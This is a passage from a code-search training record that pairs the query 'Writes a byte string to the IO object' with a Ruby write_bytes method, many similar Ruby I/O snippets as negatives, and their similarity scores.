"def write str = \"\"\n @socket.write str + \"\\r\\n\"\n end",
"def write(s)\n @port.write(s)\n sleep(@wait_after_send / 1000.0) if @wait_after_send\n end",
"def print(str)\n @io << str\n end",
"def print(str)\n @io << str\n end",
"def write(string)\n each_ios_and_stdout(string).map(&:write)\n end",
"def size=(size)\n throw ArgumentError.new('new size is negative') if size.negative?\n size -= data.size\n if size.positive?\n @data += '\\0' * size\n elsif size.negative?\n @data = @data[0...size]\n end\n @data.size\n end",
"def string()\n len = self.uint32()\n self.bytes(len)\n end",
"def store_field(data)\n @io.write [data.size].pack(\"V\") \n offset = @io.pos\n @io.write data\n @io.write \"\\0\"\n offset \n end",
"def write(buf); end",
"def write_str_to_file(file_name, string_tbw, number_of_times)\n\tif File.exist?(filename)\n\t\tFile.delete(file_name)\n\tend\n\tFile.open(file_name, 'w') {|f| number_of_times.times{f.write(\"#{string_tbw} \\n\")} }\nend",
"def writeOutput\n\t\tbytes = @socket.syswrite( @obuffer )\n\t\t@obuffer[ 0, bytes ] = '' if bytes.nonzero?\n\t\treturn @obuffer.length\n\tend",
"def write_footer(size)\n @io.write [size].pack(\"V\")\n @io.write \"\\0\"\n end",
"def string(str)\n raise(TypeError, \"wrong argument type #{str.class} (expected String)\") unless str.is_a?(String)\n p = FFI::MemoryPointer.new(str.size)\n p.write_string_length(str, str.size)\n FFI::Libmagic.magic_buffer(_cookie, p, str.size)\n end",
"def bytesize(string)\n string.respond_to?(:bytesize) ? string.bytesize : string.length\n end",
"def write(data); end",
"def write(data); end",
"def write(data); end",
"def write(data); end",
"def socket_put(str)\n\t\t\t\tdebug(\">>> \" + str)\n\t\t\t\t@socket.puts str\n\t\t\tend",
"def write_with_number(index, s, n)\n write_text(index, s)\n write_text(index, n, 2)\n end",
"def write_string_to(key, string, mtime: nil)\n mtime ||= Time.now\n copy_io_to(key, StringIO.new(string), Digest::MD5.base64digest(string), string.length, mtime: mtime)\n end",
"def string\n self.io unless @written\n return @io.string\n end",
"def write_output(string)\n @output << string\n end",
"def write(buffer, offset, count)\n # Do the actual write. Note that this will automatically honor $stdout redirection \n # of the ScriptEngine of the tutorial application.\n print @encoding.get_string(buffer, offset, count)\n end",
"def write; end",
"def write; end",
"def puts( obj )\n return unless writeable?\n\n data = Marshal.dump(obj)\n @socket.write([data.size].pack('I')) + @socket.write(data)\n rescue SystemCallError\n return nil\n end",
"def <<(str)\n raise RecordTooLarge.new(str) if str.bytesize >= MAX_BYTES_PER_RECORD\n @buffer << str\n end",
"def write_string(*args)\n # Check for a cell reference in A1 notation and substitute row and column\n if args[0] =~ /^\\D/\n args = substitute_cellref(*args)\n end\n\n return -1 if (args.size < 3) # Check the number of args\n\n record = 0x00FD # Record identifier\n length = 0x000A # Bytes to follow\n\n row = args[0] # Zero indexed row\n col = args[1] # Zero indexed column\n str = args[2].to_s\n strlen = str.length\n xf = xf_record_index(row, col, args[3]) # The cell format\n encoding = 0x0\n str_error = 0\n\n # Handle utf8 strings\n if str =~ NonAscii\n return write_utf16le_string(row, col, NKF.nkf('-w16L0 -m0 -W', str), args[3])\n end\n\n # Check that row and col are valid and store max and min values\n return -2 if check_dimensions(row, col) != 0\n\n # Limit the string to the max number of chars.\n if (strlen > 32767)\n str = substr(str, 0, 32767)\n str_error = -3\n end\n\n # Prepend the string with the type.\n str_header = [str.length, encoding].pack('vC')\n str = str_header + str\n\n if @str_table[str].nil?\n @str_table[str] = str_unique\n add_str_unique(1)\n end\n\n add_str_total(1)\n\n header = [record, length].pack('vv')\n data = [row, col, xf, @str_table[str]].pack('vvvV')\n\n # Store the data or write immediately depending on the compatibility mode.\n if @compatibility != 0\n tmp = []\n tmp[col] = header + data\n @table[row] = tmp\n else\n append(header, data)\n end\n\n return str_error\n end",
"def buffer(size = 4)\n \"\\0\" * size\n end",
"def write_mstring(*text); end",
"def write_buffer(io = T.unsafe(nil)); end",
"def write(io, constraints = {})\n to_datastream(constraints).write(io)\n end",
"def write(io, constraints = {})\n to_datastream(constraints).write(io)\n end",
"def write(str)\n\t\tlog \"Write: #{str.inspect}\", :traffic\n\t\t\n\t\tbegin\n\t\t\tstr.each_byte do |b|\n\t\t\t\t@device.putc(b.chr)\n\t\t\tend\n\t\t\n\t\t# the device couldn't be written to,\n\t\t# which probably means that it has\n\t\t# crashed or been unplugged\n\t\trescue Errno::EIO\n\t\t\traise Gsm::WriteError\n\t\tend\n\tend",
"def record_size(s)\n @size = s\n end",
"def write_to(io)\n end",
"def write_to(io)\n end",
"def writeline(str)\n writing { write0 str + \"\\r\\n\" }\n end",
"def write(str)\n return if noop?\n FileUtils.mkdir_p(File.dirname(file)) #unless File.file?(file)\n File.open(file, 'w'){ |f| f << str }\n end",
"def to_string\n io.string\n end",
"def write(str)\n\t return if str.nil? || str.empty?\n\t finishStartTag() if @inStartTag\n\t @io << NQXML.encode(str)\n\tend",
"def write(bytes)\n @io.write(bytes)\n\n nil\n end",
"def syswrite(p0) end",
"def syswrite(p0) end",
"def syswrite(p0) end",
"def io(data, io)\n io.write(obj)\n end",
"def write(p0) end",
"def write(p0) end",
"def write(p0) end"
] |
[
"0.78593",
"0.7604738",
"0.7414807",
"0.73520833",
"0.73187006",
"0.72003394",
"0.7119894",
"0.7054407",
"0.7037742",
"0.70048136",
"0.68805236",
"0.6752933",
"0.6671899",
"0.6632141",
"0.656557",
"0.651033",
"0.651033",
"0.64185447",
"0.64165807",
"0.6412854",
"0.6400829",
"0.63993156",
"0.6386405",
"0.6351134",
"0.6340096",
"0.63165534",
"0.63157207",
"0.63018125",
"0.6269064",
"0.62312984",
"0.6212624",
"0.6157203",
"0.61549044",
"0.61058825",
"0.61014664",
"0.60952646",
"0.60831994",
"0.60760474",
"0.607486",
"0.60529065",
"0.6042932",
"0.6022677",
"0.60182667",
"0.5989269",
"0.5986212",
"0.598178",
"0.5974037",
"0.5973001",
"0.5963443",
"0.59543097",
"0.5931568",
"0.5921198",
"0.5915358",
"0.5915358",
"0.58931637",
"0.58801126",
"0.5874511",
"0.58468467",
"0.5845334",
"0.5844388",
"0.58244693",
"0.5820826",
"0.57991934",
"0.5787237",
"0.5769477",
"0.5769477",
"0.5769477",
"0.5769477",
"0.57548964",
"0.5754389",
"0.57480806",
"0.5745837",
"0.57443446",
"0.5713806",
"0.5713768",
"0.5713768",
"0.5710184",
"0.57076937",
"0.57059634",
"0.56939656",
"0.5693403",
"0.5687329",
"0.5682967",
"0.5682967",
"0.567979",
"0.56784445",
"0.56764627",
"0.56764627",
"0.5657045",
"0.56535816",
"0.56521577",
"0.56483936",
"0.56434405",
"0.5638814",
"0.5638165",
"0.5638165",
"0.563037",
"0.56234723",
"0.56234723",
"0.56229776"
] |
0.66224796
|
14
|
Writes an integer under varints serializing to the IO object.
|
def write_varint(int)
int = int << 1
int = ~int | 1 if int < 0
chunks = []
while int >> 7 != 0
chunks << (int & 0x7f | 0x80)
int >>= 7
end
chunks << int
write(chunks.pack("C*"))
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def write_int(value) \n @codegen.write_int(value)\n end",
"def write_int(value, stream = @index)\n stream.write([value].pack('L'))\n end",
"def write_varint(i, data: nil, stream: nil)\n buf = encode_varint(i)\n data << buf if data\n stream.write(buf) if stream\n buf\n end",
"def write_int(value) \n write_bytecode_to(INTEGER, @temp_bytecode)\n write_4B_to(value, @temp_bytecode)\n end",
"def write_int(file, int, md)\n int = [int].pack('N')\n md << int\n file.write(int)\n end",
"def write_int32(int)\n write([int].pack(\"l>\"))\n end",
"def write_int64(int)\n write([int].pack(\"q>\"))\n end",
"def write_int16(int)\n write([int].pack(\"s>\"))\n end",
"def write_i(i)\n z.write i.p32\nend",
"def write_int64(*n); end",
"def write_int8(int)\n write([int].pack(\"C\"))\n end",
"def write_varint_string(string)\n if string.nil?\n write_varint(-1)\n else\n write_varint(string.bytesize)\n write(string)\n end\n end",
"def varint(io)\n # https://github.com/ruby-protobuf/protobuf/blob/master/lib/protobuf/varint_pure.rb\n value = index = 0\n begin\n byte = io.readbyte\n value |= (byte & 0x7f) << (7 * index)\n index += 1\n end while (byte & 0x80).nonzero?\n value\n end",
"def write_varint_bytes(bytes)\n if bytes.nil?\n write_varint(-1)\n else\n write_varint(bytes.bytesize)\n write(bytes)\n end\n end",
"def write(file)\n value.each do |item|\n # always write int4 in network order (as per GDSII spec)\n file.write [item].pack('N')\n end\n end",
"def add_int(tag, value)\n value = value.to_i\n type = Type::POSITIVE_NUMBER\n if value < 0\n type = Type::NEGATIVE_NUMBER\n value *= -1\n end\n\n write_tag(tag, type)\n Varint.serialize(@io, value.abs)\n\n self\n end",
"def encode_and_write_int32(int, mode='file', byte_offset=@file_offset)\n\t\t# make sure 'byte' arrays are clear\n\t\t@byte1.clear\n\t\t@byte2.clear\n\t\t@byte3.clear\n\t\t@byte4.clear\n\t\t# convert int argument into binary, put in arrays\n\t\t31.downto(24) do |x| @byte1.push(int[x]) end\n\t\t23.downto(16) do |x| @byte2.push(int[x]) end\n\t\t15.downto(8) do |x| @byte3.push(int[x]) end\n\t\t7.downto(0) do |x| @byte4.push(int[x]) end\n\n\t\t# order the bytes in little-endian fashion (reverse order), join\n\t\tcorrect_endianness_binary = [@byte4, @byte3, @byte2, @byte1]\n\t\tif mode == 'file'\n\t\t\t# join and pack bytes\n\t\t\tbinary_to_write = [correct_endianness_binary.join].pack(\"B*\")\n\t\t\t# write binary to file with correct offset\n\t\t\tFile.write(@filename, binary_to_write, byte_offset)\n\t\t\t# increment offset for next method call\n\t\t\t@file_offset += 4\n\t\telsif mode == 'dataBlock'\n\t\t\t# push string into dataBlock_array\n\t\t\t@dataBlock_array.push(correct_endianness_binary.join)\n\t\tend\n\tend",
"def encode_and_write_int16(int, mode='file')\n\t\t# make sure 'byte' arrays are clear\n\t\t@byte1.clear\n\t\t@byte2.clear\n\t\t# convert int argument into binary, put in arrays\n\t\t15.downto(8) do |x| @byte1.push(int[x]) end\n\t\t7.downto(0) do |x| @byte2.push(int[x]) end\n\n\t\t# order the bytes in little-endian fashion, join\n\t\tcorrect_endianness_binary = [@byte2, @byte1]\n\n\t\tif mode == 'file'\n\t\t\t# join and pack bytes\n\t\t\tbinary_to_write = [correct_endianness_binary.join].pack(\"B*\")\n\t\t\t# write binary to file with correct offset\n\t\t\tFile.write(@filename, binary_to_write, @file_offset)\n\t\t\t# increment offset for next method call\n\t\t\t@file_offset += 2\n\t\telsif mode == 'dataBlock'\n\t\t\t# push string into dataBlock_array\n\t\t\t@dataBlock_array.push(correct_endianness_binary.join)\n\t\tend\n\tend",
"def write(var, val)\r\n begin\r\n @serial.write \"#{var} #{val}\\r\\n\"\r\n puts \"#{var} #{val}\"\r\n rescue StandardError => e\r\n # Ruby does not implement write timeouts, so this exception\r\n # probably will never be raised.\r\n puts \"Cannot write (#{e.to_s}). Aborting.\"\r\n self.close\r\n end\r\n end",
"def write(io)\n io.write [@value].pack(format)\n end",
"def set_int(offset, value)\n @contents.pos = offset\n # convert the value to bytes\n @contents.write [value].pack('l')\n end",
"def write_varint_array(array, &block)\n if array.nil?\n write_varint(-1)\n else\n write_varint(array.size)\n array.each(&block)\n end\n end",
"def put_int(*ints)\n ints.each { |i| @request << [i].pack('N') }\n self\n end",
"def encode_varint(i)\n raise ArgumentError, \"int must be present\" if !i\n raise ArgumentError, \"int must be non-negative\" if i < 0\n\n buf = if i < 0xfd\n [i].pack(\"C\")\n elsif i <= 0xffff\n [0xfd, i].pack(\"Cv\")\n elsif i <= 0xffffffff\n [0xfe, i].pack(\"CV\")\n elsif i <= 0xffffffffffffffff\n [0xff, i].pack(\"CQ<\")\n else\n raise ArgumentError, \"Does not support integers larger 0xffffffffffffffff (i = 0x#{i.to_s(16)})\"\n end\n\n buf\n end",
"def push_int(n)\n begin\n append_opcode(n)\n rescue ArgumentError\n append_data(Script.encode_number(n))\n end\n self\n end",
"def write_number(numeric)\n\t\twrite_byte(0)\n\t\twrite_double(numeric)\n\tend",
"def int(*ints)\n format = ( little_endian? ? 'V*' : 'N*') \n return string(ints.pack(format))\n end",
"def put_i32(arg)\n @data += [arg].pack(\"N\")\n self\n end",
"def write_byte(*n); end",
"def write_long(*n); end",
"def write(value)\n # pass\n end",
"def push_int(i)\n stack << Script.encode_number(i)\n end",
"def serialize_value(value)\n [value.to_i].pack('N')\n end",
"def int_to_varint int_val\n result = []\n loop do\n bits = int_val & 0x7F\n int_val >>= 7\n if int_val.zero?\n result << bits\n break\n else\n result << (0x80 | bits)\n end\n end\n result.pack \"C*\"\n end",
"def write_bignum(*n); end",
"def write(io)\n @values.each {|field|\n field.write io\n }\n end",
"def set_int(attr, val); end",
"def set_int(attr, val); end",
"def write; @my_var = 2; end",
"def put_int64(*ints)\n ints.each { |i| @request << [i].pack('q').reverse }#[i >> 32, i & ((1 << 32) - 1)].pack('NN') }\n self\n end",
"def write(io)\n @values.each {|el|\n el.write io\n }\n end",
"def write_to(stream)\n stream.write_int(TAG)\n end",
"def write_to(stream)\n stream.write_int(TAG)\n end",
"def write_to(stream)\n stream.write_int(TAG)\n end",
"def write_pair(field, value)\n key = (field.tag << 3) | field.wire_type\n stream << ::Protobuf::Field::VarintField.encode(key)\n stream << field.encode(value)\n end",
"def write_with_number(index, s, n)\n write_text(index, s)\n write_text(index, n, 2)\n end",
"def write_var_len(val)\n\tif val.zero?\n putc(0)\n return\n\tend\n\n\tbuf = []\n\n\tbuf << (val & 0x7f)\n\twhile (value >>= 7) > 0\n buf << (val & 0x7f) | 0x80\n\tend\n\n\tbuf.reverse.each { |b| putc(b) }\n end",
"def write_string(string)\n if string.nil?\n write_int16(-1)\n else\n write_int16(string.bytesize)\n write(string)\n end\n end",
"def write_number number\n if number >= MIN_INTEGER && number <= MAX_INTEGER #check valid range for 29 bits\n write_integer number\n else #overflow to a double\n write_double number \n end\n end",
"def write(io)\n wu32(io, MAGIC_NUMBER)\n wu16(io, VERSION_MAJOR)\n wu16(io, VERSION_MINOR)\n wi32(io, THIS_ZONE)\n wu32(io, sigfigs)\n wu32(io, snaplen)\n wu32(io, network)\n end",
"def write_fixnum(num)\n write_1 SMALL_INT\n write_1 num\n end",
"def write_bytes(bytes)\n if bytes.nil?\n write_int32(-1)\n else\n write_int32(bytes.bytesize)\n write(bytes)\n end\n end",
"def convert_int(int)\n [int].pack('s>')\n end",
"def writeConstant(tape, int)\n\tm2 = SubMachine.stub \"writeConstant-#{tape},#{int}\"\n\tm2.simpleMerge moveDistance(tape, BitWidth - 1, :right)\n\tm3 = SubMachine.empty \n\ta = Array.new\n\t(0..(BitWidth-1)).each {|i|\n\t\tval = int % 2\n\t\tint = int / 2\n\n\t\ta.push Action.new(val, tape)\n\t\ta.push Action.new(:left, tape)\n\t}\n\ta.pop\n\n\tm3.states[m3.first] = State.new [Transition.new( Hash.new, a, m3.last)]\n\tm3.states[m3.last] = State.new []\n\n\tm2.simpleMerge m3\n\n\tm2\nend",
"def write(value, options = {})\n # If an array is written it means a data value and an overlay have been supplied\n # in one go...\n if value.is_a?(Array) && !value.is_a?(BitCollection)\n overlay(value[1])\n value = value[0]\n end\n value = value.data if value.respond_to?('data')\n\n with_lsb0 do\n size.times do |i|\n self[i].write(value[i], options)\n end\n end\n self\n end",
"def add_number(file, int)\n file << \"#{int},\"\nend",
"def set_integer!(value)\n @objects = nil\n @memory = nil\n\n if value < 0\n self[:type] = :negative_integer\n self[:values][:i64] = value\n else\n self[:type] = :positive_integer\n self[:values][:u64] = value\n end\n end",
"def variable(name, value)\n raise \"Invalid variable name '#{name}'.\" unless valid_id(name)\n @file.write(\"#{name} = #{value}\\n\")\n end",
"def write_raw_short(val)\n buffer << [val].pack(\"S>\")\n end",
"def net_pack_int(int)\n net_error \"#{__method__}: '#{int}' is too low allowed range #{NET_MIN_INT}-#{NET_MAX_INT}\" if int < NET_MIN_INT\n net_error \"#{__method__}: '#{int}' is too high allowed range #{NET_MIN_INT}-#{NET_MAX_INT}\" if int > NET_MAX_INT\n int += NET_INT_OFFSET\n int.chr\nend",
"def binwrite(data, *args, **kwd); end",
"def io(data, io)\n io.write(obj)\n end",
"def putc(obj)\n if obj.is_a?(Numeric)\n write((obj.to_i & 0xff).chr)\n else\n write(obj.to_s.byteslice(0))\n end\n end",
"def var=(var)\n write_attr :var, var\n end",
"def test_print\n var = 30\n assert_kind_of Integer, var\n assert_output(var)\n end",
"def write= w\n @write = (w == 1) ? 1 : 0\n end",
"def write(io, constraints = {})\n to_datastream(constraints).write(io)\n end",
"def write(io, constraints = {})\n to_datastream(constraints).write(io)\n end",
"def write(file)\n # write the length & header; always write length (int2) as network\n # order (as per GDSII spec)\n file.write [self.byte_size].pack('n')\n file.write [self.type].pack('c')\n file.write [self.data.type].pack('c')\n\n # now write the data...\n @data.write(file)\n end",
"def write_hdr(field, value)\n @header_data.write_int(field, value)\n @header_modified = true\n end",
"def var_set(vars)\n vars.each_pair do |var, value|\n @file.write(\" \")\n variable(var, value)\n end\n @file.write(\"\\n\")\n end",
"def write(p0) end",
"def write(p0) end",
"def write(p0) end",
"def set_eoutvar compiler, io_variable\n compiler.put_cmd = \"#{io_variable}.write\"\n compiler.insert_cmd = \"#{io_variable}.write\"\n compiler.pre_cmd = []\n compiler.post_cmd = []\n end",
"def int\n Util.from_bytes :int, value\n end",
"def digital_write(value)\n set_mode('w') unless @mode == 'w'\n\n if value.is_a? Symbol\n value = (value == :high) ? 1 : 0\n end\n\n value = value.to_i\n\n raise StandardError unless ([HIGH, LOW].include? value)\n\n @status = (value == 1) ? 'high' : 'low'\n\n @pin_file.write(value)\n @pin_file.flush\n end",
"def putint(context)\n compiler = compiler_for(:Integer,:putint ,{})\n compiler.add_mom( Mom::ReturnSequence.new)\n return compiler\n end",
"def write(data); end",
"def write(data); end",
"def write(data); end",
"def write(data); end",
"def write(object, attribute, value, ivar = T.unsafe(nil)); end",
"def snap_oui=(i); typecast i; end",
"def as_int\n return @as_int unless @as_int.nil?\n _pos = @_io.pos\n @_io.seek(0)\n @as_int = @_io.read_u1\n @_io.seek(_pos)\n @as_int\n end",
"def putint context\n putint_function = Virtual::MethodSource.create_method(:Integer,:putint , [] )\n putint_function.source.return_type = Virtual::Integer\n putint_function.source.receiver = Virtual::Integer\n return putint_function\n # buffer = Parfait::Word.new(\" \") # create a buffer\n # context.object_space.add_object buffer # and save it (function local variable: a no no)\n # int = putint_function.receiver\n # moved_int = putint_function.new_local\n # utoa = context.object_space.get_class_by_name(:Object).resolve_method(:utoa)\n # putint_function.instance_eval do\n # mov( moved_int , int ) # move arg up\n # add( int , buffer ,nil ) # string to write to (add string address to pc)\n # add( int , int , buffer.length - 3) # 3 for good measure , ahem.\n # call( utoa )\n # after = new_block(\"after_call\")\n # insert_at after\n # # And now we \"just\" have to print it, using the write_stdout\n # add( int , buffer , nil ) # string to write to\n # mov( moved_int , buffer.length )\n # end\n # Virtual::RegisterMachine.instance.write_stdout(putint_function)\n # putint_function\n end",
"def write(data)\n end",
"def as_int\n return @as_int unless @as_int.nil?\n _pos = @_io.pos\n @_io.seek(0)\n @as_int = @_io.read_u1\n @_io.seek(_pos)\n @as_int\n end",
"def write_magic_number(outf)\n outf.write([0xA115ca1e].pack(\"l\"))\nend",
"def write_magic_number(outf)\n outf.write([0xA115ca1e].pack(\"l\"))\nend",
"def data=(value)\r\n @obj.write_var(@name, value)\r\n end",
"def push_int\n <<-CODE\n next_int;\n stack_push(I2N(_int));\n CODE\n end",
"def syswrite(p0) end",
"def syswrite(p0) end",
"def syswrite(p0) end",
"def encode_unsigned_varint(value, appender)\n while value > 0x1F\n pos = (value & 0x1F) | 0x20\n appender.call(ENCODING_TABLE[pos])\n value >>= 5\n end\n appender.call(ENCODING_TABLE[value])\n end",
"def store(s, vardata_type, vardata, to_username = DEFAULT_TO_USERNAME)\n out = [MESSAGE_STORE, to_username].pack(\"Ia*\")\n\n if(vardata_type == VARDATA_TYPE_BYTE)\n out += [1, vardata_type, vardata].pack(\"IIC\")\n elsif(vardata_type == VARDATA_TYPE_INT)\n out += [4, vardata_type, vardata].pack(\"III\")\n elsif(vardata_type == VARDATA_TYPE_DOUBLE)\n out += [8, vardata_type, vardata].pack(\"IIQ\")\n elsif(vardata_type == VARDATA_TYPE_BYTE_ARRAY)\n out += [vardata.length, vardata_type].pack(\"II\")\n out += vardata.pack(\"C*\")\n elsif(vardata_type == VARDATA_TYPE_INT_ARRAY)\n out += [vardata.length, vardata_type].pack(\"II\")\n out += vardata.pack(\"I*\")\n elsif(vardata_type == VARDATA_TYPE_DOUBLE_ARRAY)\n out += [vardata.length, vardata_type].pack(\"II\")\n out += vardata.pack(\"Q*\")\n elsif(vardata_type == VARDATA_TYPE_STRING)\n out += [1, vardata_type, vardata].pack(\"III\")\n else\n puts(\"wat\")\n exit\n end\n\n s.write(out)\n receive_code(s, 0x00001004, \"store\")\nend",
"def icmp_type=(i); typecast i; end",
"def icmp_type=(i); typecast i; end",
"def out(value)\n $response.write(value)\n end"
] |
[
"0.73925453",
"0.7198742",
"0.7121977",
"0.6955201",
"0.690309",
"0.68457305",
"0.6691438",
"0.65506095",
"0.65127933",
"0.6350357",
"0.63346916",
"0.62954724",
"0.6244484",
"0.6185402",
"0.61474836",
"0.6060596",
"0.601771",
"0.5999958",
"0.5980629",
"0.59512264",
"0.5933526",
"0.5835105",
"0.5718761",
"0.5709384",
"0.5491267",
"0.5490479",
"0.5483989",
"0.5413876",
"0.5394663",
"0.5372812",
"0.5369098",
"0.52996075",
"0.52922875",
"0.5276112",
"0.5259365",
"0.52514386",
"0.52322215",
"0.52322215",
"0.523142",
"0.5216786",
"0.5208854",
"0.5195269",
"0.5195269",
"0.5195269",
"0.5191564",
"0.51839095",
"0.517248",
"0.5167779",
"0.51619124",
"0.51316065",
"0.51263356",
"0.50741756",
"0.5039452",
"0.50204396",
"0.50068206",
"0.49933487",
"0.4984191",
"0.4981111",
"0.49585858",
"0.4946077",
"0.49332166",
"0.49299878",
"0.49286944",
"0.49115372",
"0.48935986",
"0.48918578",
"0.48865768",
"0.48865768",
"0.48791108",
"0.4870481",
"0.48549595",
"0.48518452",
"0.48516843",
"0.48516843",
"0.48457962",
"0.4832576",
"0.48186603",
"0.48158863",
"0.48140404",
"0.48140404",
"0.48140404",
"0.48140404",
"0.4805955",
"0.47989997",
"0.47609302",
"0.47528815",
"0.47444072",
"0.47371024",
"0.4729144",
"0.4729144",
"0.47268012",
"0.47235438",
"0.47114682",
"0.47113332",
"0.47113332",
"0.47038516",
"0.46954492",
"0.4687622",
"0.4687622",
"0.46712983"
] |
0.6999754
|
3
|
Writes a byte string to the IO object.
|
def write_bytes(bytes)
if bytes.nil?
write_int32(-1)
else
write_int32(bytes.bytesize)
write(bytes)
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def write(bytes)\n @io.write(bytes)\n\n nil\n end",
"def write(string)\n @handle.write(string)\n end",
"def write(bytes)\r\n end",
"def write(s)\n do_write(s)\n s.bytesize\n end",
"def write(string)\n string.to_s.bytesize\n end",
"def write(str)\n writing { write0 str }\n end",
"def write_byte(byte)\n write [byte].pack(\"C\")\n end",
"def write string\n end",
"def write(io)\n io = BinData::IO.new(io) unless BinData::IO === io\n\n do_write(io)\n io.flush\n self\n end",
"def write(string)\n @buffer << string\n self\n end",
"def write!( string )\n @stream << string\n end",
"def write_(s)\n s = s.encode(@conf['encoding'], s.encoding)\n @sock.puts s\n log.info \"W > #{s}\"\n end",
"def write(s)\n @file.write(s)\n end",
"def write(io)\n write_with_crc(io, content || \"\")\n end",
"def write(io)\n write_with_crc(io, content || '')\n end",
"def write(io)\n if io.is_a?(String)\n io = File.open(io, 'w')\n self.write(io)\n io.close\n return\n end\n\n Marshal.dump(self, io)\n end",
"def write_string(string)\n\t\twrite_byte(2)\n\t\twrite_utf(string.to_s)\n\tend",
"def write(string)\n log :write, string\n @socket << string\n end",
"def do_write(s)\n @wbuffer << s\n @wbuffer.force_encoding(Encoding::BINARY)\n @sync ||= false\n\n if @sync or @wbuffer.size > BLOCK_SIZE or idx = @wbuffer.rindex($/)\n remain = idx ? idx + $/.size : @wbuffer.length\n nwritten = 0\n\n while remain > 0\n str = @wbuffer[nwritten,remain]\n begin\n nwrote = syswrite(str)\n rescue Errno::EAGAIN\n retry\n end\n remain -= nwrote\n nwritten += nwrote\n end\n\n @wbuffer[0,nwritten] = \"\"\n end\n end",
"def syswrite(string)\n raise NotImplementedError\n end",
"def write(bytes)\n @serial_port.write(bytes)\n end",
"def write bytes\n r = response_object\n r.body \"\" if r.body_io.nil?\n r.body_io.write bytes\n end",
"def write(io)\n io.write [@value].pack(format)\n end",
"def write(string)\n self << string\n end",
"def write(string)\n\t\t\t\t@write_buffer << string\n\t\t\t\t\n\t\t\t\tif @write_buffer.size > @block_size\n\t\t\t\t\tflush\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\treturn string.bytesize\n\t\t\tend",
"def write(str)\n\t\tlog \"Write: #{str.inspect}\", :traffic\n\t\t\n\t\tbegin\n\t\t\tstr.each_byte do |b|\n\t\t\t\t@device.putc(b.chr)\n\t\t\tend\n\t\t\n\t\t# the device couldn't be written to,\n\t\t# which probably means that it has\n\t\t# crashed or been unplugged\n\t\trescue Errno::EIO\n\t\t\traise Gsm::WriteError\n\t\tend\n\tend",
"def send(str)\n write(str + 0.chr)\n end",
"def write_string(string, data: nil, stream: nil)\n raise ArgumentError, \"String must be present\" if !string\n\n intbuf = write_varint(string.bytesize, data: data, stream: stream)\n\n stringbuf = BTC::Data.ensure_binary_encoding(string)\n\n data << stringbuf if data\n stream.write(stringbuf) if stream\n\n intbuf + stringbuf\n end",
"def putz(s)\n s.each_byte do |ch|\n @serial_port.putc(ch)\n @serial_port.flush\n #$log.debug(\"Wrote: \" + ch.chr)\n end\n end",
"def io(data, io)\n io.write(obj)\n end",
"def write(s)\n @data += s\n end",
"def write_to_socket bytes\n socket.write_nonblock bytes\n rescue IO::WaitWritable\n :wait_writable\n end",
"def write(string)\n send(string)\n string.length\n end",
"def write(s)\n @port.write(s)\n sleep(@wait_after_send / 1000.0) if @wait_after_send\n end",
"def write(string)\n written = 0\n length = string.bytesize\n while written < length\n begin\n written += write_nonblock(string.byteslice(written, length - written))\n rescue IO::WaitWritable, Errno::EINTR\n block_until_writable\n retry\n end\n end\n written\n end",
"def write_byte(*n); end",
"def write str = \"\"\n @socket.write str + \"\\r\\n\"\n end",
"def write(buf); end",
"def write(str)\n s = str.to_s\n # TODO: implement String#bytesize\n @length += s.size\n @writer.call s\n\n set_header(Rack::CONTENT_LENGTH, @length)\n str\n end",
"def write_string(string)\n if string.nil?\n write_int16(-1)\n else\n write_int16(string.bytesize)\n write(string)\n end\n end",
"def write_binary(buf)\n raise NotImplementedError\n end",
"def unbuffered_write(string)\n bytes_written = @io.write(string)\n @total_bytes_in += bytes_written\n bytes_written\n end",
"def write(s)\n binary_to_store = Marshal.dump(s)\n bytes = @ioctx.write(@oid, binary_to_store, binary_to_store.size, @offset)\n # add an xattr :\n set_attribut(@@size_xattr, binary_to_store.size)\n \n @offset += bytes\n bytes\n end",
"def write s\n raise RuntimeError, \"No socket\" unless @socket\n @socket.puts s += \"\\r\\n\"\n puts \"WROTE: #{s.inspect}\" if config[:debug]\n end",
"def write!\n @dev = File.open(@device, \"w\") if (@dev.nil? || @dev.closed?)\n @dev.write @bytes.pack(\"c*\")\n @dev.flush\n end",
"def <<(buf)\n return write(buf.to_s)\n end",
"def write_to(io)\n end",
"def write_to(io)\n end",
"def write(str)\n puts self.writings(str)\n end",
"def write(str)\n puts self.writings(str)\n end",
"def send(str)\r\n @socket.write(str + 0.chr)\r\n end",
"def write(str, len=nil)\n raise ArgumentError, \"str must respond to :to_s\" unless str.respond_to? :to_s\n @mem.write_string(str.to_s, len)\n end",
"def write(string, filename)\n Util::FileMutation.write(string, filename)\n end",
"def write_string_to(key, string, mtime: nil)\n mtime ||= Time.now\n copy_io_to(key, StringIO.new(string), Digest::MD5.base64digest(string), string.length, mtime: mtime)\n end",
"def socket_put(str)\n\t\t\t\tdebug(\">>> \" + str)\n\t\t\t\t@socket.puts str\n\t\t\tend",
"def write(str)\n STDOUT.write str\n end",
"def print(str)\n @io << str\n end",
"def print(str)\n @io << str\n end",
"def write(io)\n each do |chunk|\n io << chunk\n end\n\n self\n end",
"def write(str)\n s = str.to_s\n\n @length += s.bytesize\n @headers[Rack::CONTENT_LENGTH] = @length.to_s\n @body << s\n end",
"def puts_bytes(*a)\n @device.puts_bytes(*a)\n end",
"def utf8write(str,f)\n File.open(f,\"wb:utf-8\"){|ff|\n ff.write(str)\n }\nend",
"def write(string)\n each_ios_and_stdout(string).map(&:write)\n end",
"def write_utf(file, string, md)\n write_short(file, string.length, md)\n write(file, string, md)\n end",
"def write_buffer(io = T.unsafe(nil)); end",
"def write(*args)\n args.each do |a|\n @serial.write a.chr\n end\n end",
"def shell_write(buf)\n rstream.write(buf)\n end",
"def shell_write(buf)\n rstream.write(buf)\n end",
"def puts_bytes(*data)\r\n API::Output.puts(@resource, data)\r\n true\r\n end",
"def write(string, *smth)\n #This is a stub, used for indexing\n end",
"def write(string)\n length = string.length\n while 0 < length\n IO::select(nil, [@sock])\n @dumplog.log_dump('>', string[-length..-1]) if @options.has_key?(\"Dump_log\")\n length -= @sock.syswrite(string[-length..-1])\n end\n end",
"def shell_write(buf)\n raise NotImplementedError\n end",
"def brf_write(str)\n File.open(brf_file, 'w:UTF-8') { |f| f.write str }\n end",
"def write_buffer(io = T.unsafe(nil), encrypter = T.unsafe(nil)); end",
"def write(data)\n end",
